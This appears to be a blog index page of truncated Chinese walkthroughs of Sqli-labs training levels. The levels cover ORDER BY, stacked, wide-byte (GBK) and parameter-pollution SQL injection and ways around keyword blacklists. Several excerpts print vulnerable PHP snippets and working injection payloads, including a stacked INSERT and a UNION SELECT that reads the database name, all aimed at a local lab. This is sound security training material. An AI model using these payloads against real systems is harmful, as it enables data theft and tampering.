Apr092020
Sqli-labs Less-47 order by后的注入
本关的sql语句为
$sql = "SELECT * FROM users ORDER BY '$id'";
将id变为字符型,因此根据我们上述提到的知识,我们依旧按照注入的位置进行分类。
1、order by后的参数
我们只能使用and来进行报错和延时注入。我们下面给出几个payload示例。
① and rand相结合的方式,payload:
http://127.0.0.1/sql/Less-47/?sort=1′ and rand(ascii(left(database(),1))=115)–+
换成116...阅读全文
抢沙发
Apr092020
Sqli-labs Less-46 order by后的注入
从本关开始,我们开始学习order by 相关注入的知识。
本关的sql语句为
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
尝试?sort=1 desc或者asc,显示结果不同,则表明可以注入。(降序or升序排列)
从上述的sql语句中我们可以看出,我们的注入点在order by后面的参数中,而order by不同于我们在where后的注入点,不能使用union等进行注入。如何进行order by的注入...阅读全文
Apr092020
Sqli-labs Less-38 堆叠注入
学习了关于stacked injection的相关知识,我们在本关可以得到直接的运用。
在执行select时的sql语句为:SELECT * FROM users WHERE id=’$id’ LIMIT 0,1
可以直接构造如下的payload:
http://127.0.0.1/sql/Less-38/index.php?id=1′;insert into users(id,username,password) values (’38’,’less38′,’hello’)–+
再看数据表中...阅读全文
Apr092020
Sqli-labs Background-8 堆叠注入
Stacked injections:堆叠注入。从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
0x01 原理介绍
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语...阅读全文
Apr092020
Sqli-labs Less-37 利用 ‘ 的utf-16突破mysql_real_escape_string()函数转义
关键代码
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
本关与34关是大致相似的,区别在于处理post内容用的是mysql_real_escape_string...阅读全文
Apr092020
Sqli-labs Less-36 宽字节注入 绕过mysql_real_escape_string()函数转义
关键代码
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
$id=check_quotes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
上面的check_quotes()函数是利用了mysql_real_escape_string()函数进行的过滤。
mysql_real_escape_string() 函...阅读全文
Apr092020
Sqli-labs Background-7 宽字节注入
Less-32,33,34,35,36,37六关全部是针对’和\的过滤,所以我们放在一起来进行讨论。
我们在此介绍一下宽字节注入的原理和基本用法。
原理:mysql在使用GBK编码的时候,会认为两个字符为一个汉字,例如%aa%5c就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤 ‘ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候...阅读全文
Apr092020
Sqli-labs Less-31 HPP参数污染攻击
Less-31与前面两关的方式是一样的,我们直接看到less-31的sql语句:
$id=$_GET['id'];
$id = '"' .$id. '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
所以payload为:
http://127.0.0.1/sql/Less-31/login.php?id=1&id=-1″) union select 1,database(),3–+
总结:从以上三关中,我们主要学习到的是不同服务器对于参数的不同处理,HPP的应用有很多,不...阅读全文
Apr092020
Sqli-labs Less-26 绕过 or、and、注释符、空格、斜杠过滤 基于BIGINT溢出的报错注入
关键代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_...阅读全文
Apr092020
Sqli-labs Less-25 绕过or和and过滤 extractvalue()报错注入
关键代码
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}
$id=$_GET['id'];
$id= blacklist($id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
print_r(mysql_error());
本关主要为or and过滤,如何绕过or和and过...阅读全文